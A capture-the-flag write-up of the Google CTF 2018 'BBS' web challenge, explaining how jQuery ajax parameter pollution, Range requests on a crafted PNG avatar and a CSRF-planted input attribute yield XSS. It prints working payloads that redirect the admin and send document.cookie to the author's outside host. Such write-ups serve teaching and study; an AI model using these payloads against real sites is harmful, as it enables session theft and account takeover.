# Google CTF Quals 2018 BBS
This is a writeup of solutions for the BBS web challenge from the Google CTF 2018 Quals event.I'll explore the process of exploiting this website and the two different solutions I came up with to solve it.## Challenge Overview
The challenge links us to https://bbs.web.ctfcompetition.com/ with a warning that no memes are allowed.![](https://itszn.com/u/d1d8a9e3a925b63add12ce028e4c245647a5cd38.png)
The page has a retro DOS inspired theme. It features a user account system, a message board,and a profile page.The majority of the functionality is implemented on the client side in `assets/app.js`, which is awebpacked javascript app including a URL parsing library.
The message board page allows you to post a message and even reply to previous messages using `>>number`.Post replies can be hovered over to load an iframe of the post in question.
There is also a report functionality which alerts the admin. The goal seems to be to steal the admin'ssession andread some secret information.
### Message Board
When loading the message board, the client runs this code```javascriptfunction load_posts() {    $.ajax('/ajax/posts').then((text) => {        $('#bbs').html(atob(text));        linkify();    });}```
This sends a GET request to `/ajax/posts`, which gives the HTML for the current posts encoded in base64.The client decodes the base64, and writes the HTML to the webpage without sanitation. However when theuser submits a post, it is sanitized on the server before being saved. So the HTML will be pre-sanitizedbefore being written to the page.
`linkify` looks for text matching `>>number` format and creates reply elements for them. Each elementscreates an iframe that loads `/post?p=/ajax/post/<number>`:
```javascriptvar f = document.createElement('iframe');f.id = 'f'+id;$(f).addClass('preview');f.src = '/post?p=/ajax/post/'+id;$(el).parent().append(f);```
Lets explore these two new endpoints. `/ajax/post/<number>` will take a post id and return the contentsencoded in base64. If the post number does not exist or cannot be viewed it returns "Private Post" encodedinstead. The body is still sanitized like before.
The `/post` endpoint is purely clientside logic again:
```javascriptfunction load_post() {    var q = qs.parse(location.search, {ignoreQueryPrefix: true});    var url = q.p;
    $.ajax(url).then((text) => {        $('#post').html(atob(text));    });}```
We can see that it uses the URL parsing library to parse the search query. The target url is parameter `p`on the resulting object. The client requests that url using jquery's `$.ajax` method. The results is base64 decoded and rendered as HTML.
At first glance you might think you can simply encode an XSS payload in base64 on some other CORS enabled site and load it using the ajax call, but you will find there is a Content Security Policy blocking you:
```content-security-policy: default-src 'self' 'unsafe-inline'; script-src 'self' 'unsafe-inline' 'unsafe-eval';```
XMLHttpRequest based ajax calls obey the `connect-src` CSP rule. Since none is set here, the `default-src` is used, only allowing ajax requests on the same origin. We will need to find a to store our base64 payload somewhere on the site.
### Profile Page
The profile page allows you to change your password, set a website, and upload a profile picture.
![](https://itszn.com/u/202c4464617f10563c2b0ce2cfe38df22866e714.png)
The profile image sticks out as a potential place to store a payload. We cannot directly use it asthe server enforces that it must be a valid PNG, and even resizes it to 64x64 pixels.
### Report Endpoint
When clicking report, the client sends a POST request to `/report` with the path to visit.The server requires that the path starts with `/admin/`, but that endpoint is not very useful and justseems broken. However, we can `/admin/../<path>` to instead have the admin visit any other page on the site.
## Building an Exploit
We have found a vulnerable endpoint and have a target. Now we need to find somewhere to put our payload.Trying to load the profile image with `/post` endpoint directly won't work as it is not base64 itself.So we will need one more trick to be able to store our base64 payload in the image.
### `.ajax` Parameter Polution
Taking a closer look at the URL parsing library included with the app, we see that it returns the URLparameters as an object. If we try the URL parameter object notation, we see that we can controlthe object keys and values. For example: `/post?p[key1]=value1&p[key2][key3]=value2` will result in thisobject:```{    p: {        key1: 'value1',        key2: {            key3: 'value2'        }    }}```
If you look at the [docs for .ajax](https://api.jquery.com/jquery.ajax/) you can see that it takes eithera single url or an object full of settings. We can now provide that object, and set any setting we want.
### Range Header
The trick to grabbing just a small part of our profile image is by setting the `Range` header.This header tells the server to provide just a specific part of a static file. This will not workon dynamic paths and paths that the browser refuses to cache.
If we can embed the XSS into the PNG, we can now surgically request it on `/post` like this:```https://bbs.web.ctfcompetition.com/post?p[url]=/avatar/x&p[headers][Range]=bytes=start-end```
### Embedding XSS
Placing the XSS into a valid PNG is actually tricky, since PNGs employ both compression and filtering.We can attempt to defeat the compression by including mostly random pixels. This will be uncompressibleand will likely result in the compressed data being very similar to the uncompressed data. We can also placethe payload at the end of our image and brute force the random pixels until the filtering happens toleave it untouched.
So the process is pretty simple:* Generate random data to fill 64x64 image* Place payload at the end* Generate PNG with data and check if our payload is still in it after compression and filtering* Repeat if not
For short payloads it works almost instantly.
Here is an example payload with alert("hello") embedded near the end:
![](https://itszn.com/u/620a2a8c87e4d627907d33c6afc082a954d0c1dc.png)
Visit this link to see it in action: (Read on to see why we use dataType and don't base64 encode)
[https://bbs.web.ctfcompetition.com/post?p[url]=/avatar/5cdad7fcb6d6b9fead46746a7be8b457&p[headers][Range]=bytes=12397-12410&p[dataType]=script](https://bbs.web.ctfcompetition.com/post?p[url]=/avatar/5cdad7fcb6d6b9fead46746a7be8b457&p[headers][Range]=bytes=12397-12410&p[dataType]=script) 
## Building a Larger Payload
The longer our payload is, the harder it is to generate a PNG with it embedded inside.Its even worse if we have to base64 encode the payload as well. Including script tags,we can fit about 7 characters of javascript.
This is no good, `document.cookie` alone is longer than that. We need to figure out how tocreate a larger payload.
The first thing we can do is ditch the base64 and the script tags. Right now we rely on theclient setting running our payload with `$('#post').html(atob(text))`. However since we controlthe parameters to the ajax call, there is actually a more direct method. Jquery supports a `dataType`parameter which hints it what kind of data will be returned.There is a special case for when `dataType` is set to`"script"`. In this case it will actually executethe response before doing anything else. We can take advantage of this to turn our payload intopure javascript:
```https://bbs.web.ctfcompetition.com/post?p[url]=/avatar/x&p[headers][Range]=bytes=x-y&p[dataType]=script```
Now we can execute around 32 characters of javascript easily. However its still not enough. If we wantto have our payload be something like `location='//abc.yz/'+document.cookie` we need around 36-40 characters.
Trying something like `eval(location.hash)` won't work either, since `location.hash` will always startwith the `#`, which will cause a syntax error. I also tried looking at `eval(location.path)`.If we could get the path to be something like `/post/;location='//abc.yz/'+document.cookie` we coulduse it. However, although the server still responds with the same page for any path starting with `/post`,the `app.js` script is loaded relative (`assets/app.js`) and so it 404s. If it instead was`/assets/app.js/` this would have worked.
### Off Domain PayloadAlthough we cannot steal the cookie yet, we can now redirect them to our own domain.This gives us more flexibility in what we can do.
I embedded `location="//itszn.com/a"` into a PNG and built this url:```https://bbs.web.ctfcompetition.com/post?p[url]=/avatar/073187dafeb1b8ae4bc71ae4d8f313eb&p[headers][Range]=bytes=12385-12408&p[dataType]=script```
Visiting the url will redirect you to my controlled page.
Using this page, I came up with two methods to extract the admin's cookie:
### Solution #1: window.name
There is not a lot of information that can be reflected from redirecting a user to a urlwithout being on the same origin.You can store a payload in the query or the hash or other parts of the url, but none of those work inthis case.
There is one cross-domain value that we can set: `window.name`. This is a persistent value which iskept for all pages open in a given tab or window. One origin can set it, and another can read it at will.It can also be set for new windows with the name attribute of an iframe or with the `window.open` method.
In our case we cannot use iframes since `x-frame-options` header is set to `SAMEORIGIN`. We also cannot use `window.open` since the user has not interacted with our page yet.
We are able to manual set it and redirect. The payload we store in it will remain after the location change.
To finish the payload, we can embed `eval(name)` into our PNG and build the XSS url:```html<script>window.name="location=`http://itszn.com/pingback/`+document.cookie";location="https://bbs.web.ctfcompetition.com/post?p[url]=/avatar/c00d237b88096add109008243a6941fb&p[headers][Range]=bytes=12400-12409&p[dataType]=script";</script>```
Running this code on `https://itszn.com/a` will set `window.name`, redirect to the second XSS payload, and then redirect back again with the admin's cookie.
Sending this to the admin I get a response with the flag: `CTF{yOu_HaVe_Been_b&}`
### Solution #2: CSRF
The second method is abusing a bug with the profile page. Once you have set a website, it will thenfill the form with that value when the page is loaded in the future:```html<input type="text" name="website" class="input-block-level" placeholder="Website" value=helloworld>```
This value is sanitized of all quotes and angle brackets, so we cannot escape out of the tag, but sincequotes were not used in the first place, we can create other attributes.
As this is an `<input>` tag, the easiest way to get code execution is with `onfocus` and `autofocus`attributes.
```asdf onfocus=alert(1) autofocus```This website payload becomes:```<input type="text" name="website" class="input-block-level" placeholder="Website" value=asdf onfocus=alert(1) autofocus>```
We can steal the cookie without single or double quotes like this:```asdf onfocus=location=`http://itszn.com/pingback/`+document.cookie autofocus```
Now we just need to set this website value in the first place. Luckily the website does not have any Cross-Site Request Forgery protection, so we can fake a post request from our own domain.
The only issue is that an input named `submit` is required. Thanks to how great browsers are this willreplace the form's native submit function. We can prevent this by saving a reference under a different namebefore adding the submit input to the form:```html<form id="f" action="https://bbs.web.ctfcompetition.com/profile" method="POST" enctype="multipart/form-data"><input type="password" name="password"><input type="password" name="password2"><input name="website" value="asdf onfocus=location=`http://itszn.com/pingback/`+document.cookie autofocus"><input type="file" name="avatar"></form><script>f.submitt = f.submit;i=document.createElement('input');i.name="submit";f.append(i);f.submitt();</script>```
Redirecting to this page will cause a CSRF post request to be made installing the XSS payload and also redirect back to the profile page triggering it. All this will send the cookie our way again.